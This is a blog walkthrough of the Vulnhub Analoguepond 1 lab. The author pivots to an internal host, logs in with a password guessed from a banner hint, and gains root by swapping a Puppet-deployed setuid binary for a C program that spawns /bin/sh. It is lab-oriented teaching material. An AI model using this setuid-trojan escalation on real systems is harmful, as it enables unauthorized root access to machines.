Press "Enter" to skip to content

Vulnhub Analoguepond 1 Walkthrough: Part 2

Hi fellows,

Welcome to the second part of the Vulnhub Analoguepond 1 walkthrough. If you have missed the first part, you can find it here.

I have finished the last part with finding the troll flag and escalating the privileges on the first machine. So let’s continue finding the other flags… I had some time to find out how to proceed. I examined a lot, especially at the places where we need root privileges, but I found nothing. After a bit, I looked at the network interfaces and found something interesting

eric@analoguepond:~$ ifconfig
...

virbr0    Link encap:Ethernet  HWaddr 52:54:00:b2:23:25  
          inet addr:192.168.122.1  Bcast:192.168.122.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:109 errors:0 dropped:0 overruns:0 frame:0
          TX packets:92 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:7172 (7.1 KB)  TX bytes:7596 (7.5 KB)

...

This box has another IP-address and it seems as if there was kind of an internal network. Then I have also checked the connections of the box, where I found another hint on another network.

eric@analoguepond:~$ netstat -nlp
(No info could be read for "-p": geteuid()=1000 but you should be root.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 192.168.122.1:53        0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:5900          0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:5901          0.0.0.0:*               LISTEN      -               
tcp6       0      0 :::22                   :::*                    LISTEN      -               
udp        0      0 0.0.0.0:34551           0.0.0.0:*                           -               
udp        0      0 0.0.0.0:17230           0.0.0.0:*                           -               
udp        0      0 192.168.122.1:53        0.0.0.0:*                           -               
udp        0      0 0.0.0.0:67              0.0.0.0:*                           -               
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -               
udp        0      0 0.0.0.0:161             0.0.0.0:*                           -               
udp6       0      0 ::1:161                 :::*                                -               
udp6       0      0 :::59751                :::*                                -               
Active UNIX domain sockets (only servers)
Proto RefCnt Flags       Type       State         I-Node   PID/Program name    Path
unix  2      [ ACC ]     SEQPACKET  LISTENING     8222     -                   /run/udev/control
unix  2      [ ACC ]     STREAM     LISTENING     9800     -                   /var/run/acpid.socket
unix  2      [ ACC ]     STREAM     LISTENING     7910     -                   @/com/ubuntu/upstart
unix  2      [ ACC ]     STREAM     LISTENING     10089    -                   /var/agentx/master
unix  2      [ ACC ]     STREAM     LISTENING     9344     -                   /var/run/dbus/system_bus_socket
unix  2      [ ACC ]     STREAM     LISTENING     10197    -                   /var/run/libvirt/libvirt-sock
unix  2      [ ACC ]     STREAM     LISTENING     10199    -                   /var/run/libvirt/libvirt-sock-ro
unix  2      [ ACC ]     STREAM     LISTENING     10859    -                   /var/lib/libvirt/qemu/puppet.monitor
unix  2      [ ACC ]     STREAM     LISTENING     10751    -                   /var/lib/libvirt/qemu/barringsbank.monitor

As you can see, there must be something on the network under 192.168.122.0/24. Furthermore, I found that the two last lines are really interesting, but I will come to that later on. I then tried to connect to a host on that network via ssh. And indeed, on the first try there was something.

eric@analoguepond:~$ ssh 192.168.122.2
+-----------------------------------------------------------------------------+
| Passwords are very dated.. Removing spaces helps sandieshaw log in with her |
| most famous song                                                            |
+-----------------------------------------------------------------------------+
eric@192.168.122.2's password:

Looks like there is a user called sandieshaw and she seems to be a singer. Since I did not know her I again used my favourite tool, Google. There I found out that one of her most famous songs is called “Puppet on a String” (you might have recognised that the word puppet appears the second time). So I tried to log in as sandieshaw with the password puppetonastring which let me pass. We are in another box.

As always when entering a new box, I started looking around. The first thing that I saw was the suspicious name of the box, puppet. So there must be something with that. However, there was nothing special in the home folder of sandieshaw. Also the kernel is now updated so the previous escalation does not work anymore. After a while I searched for files that have the setuid bit set, which allows a user to execute the file with the permissions of the files owner.

sandieshaw@puppet:~$ find / -perm -4000 2>/dev/null
...
/tmp/spin
...
sandieshaw@puppet:~$ ls -al /tmp/spin
-rwsr-xr-x 1 root root 8632 May  4 21:31 /tmp/spin

This /tmp/spin file immediately jumped at me because it is not a file that usually appears on that list. And on top of that, it is owned by root which is what we basically want. However, running spin does nothing special. It only spins a cursor forever. I examined it a bit further with several different tools, but there was nothing special about it. So I continued looking through the box when I found the folder /etc/puppet. This was the time I started googling after a puppet service. I found out that this is a service that manages remote servers. I further learned that there are some manifest files which determine how to manage the remote servers. After a while of examining the system concentrating on the puppet service I found an interesting manifest file.

sandieshaw@puppet:/etc/puppet/modules/wiggle/manifests$ cat init.pp
## My first puppet module by Nick Leeson (C) Barringsbank
## Put spin binary in /tmp to confirm puppet is working
class wiggle {

file { [ "/tmp/spin" ]:
  ensure  => present,
  mode    => 4755,
  owner   => root,
  group   => root,
  source  => "puppet:///modules/wiggle/spin";
  }
}

Again this spin file. Also notice the name, “Nick Leeson (C) Barringsbank”. We have seen this already somewhere. However, it seems that this puppet manager writes this spin file to the /tmp folder with root privileges and the setuid bit set. I thought what would happen if I replaced the original spin file with an own spin binary? So I wrote an own binary that would launch a new shell. Since it has the setuid bit set it will be executed as root and would (hopefully) give me a root shell. I replaced the file under /etc/puppet/modules/wiggle/files/spin with my own version of spin.

#include <stdio.h>
#include <unistd.h>

void main() {
    execvp("/bin/sh", NULL);
}

After that, I had to wait until the file under /tmp/spin gets replaced by my own binary. Once that happened, I run the spin file and was happy to see that my plan worked!

sandieshaw@puppet:/tmp$ ./spin
# whoami
root
#

Under /root/protovision/ I finally found the first real flag. Cool, again one step closer to the final goal.

Since we again have a flag and root privileges on the box, I think this is a good point to stop this second part of the walkthrough. If you are curious on how it will continue, stay tuned, I will soon publish the next part. As always, if you have any hints, suggestions or comments, do not hesitate and write a comment. I will try to answer as quickly as possible.

Cheers

Be First to Comment

Leave a Reply

Your email address will not be published. Required fields are marked *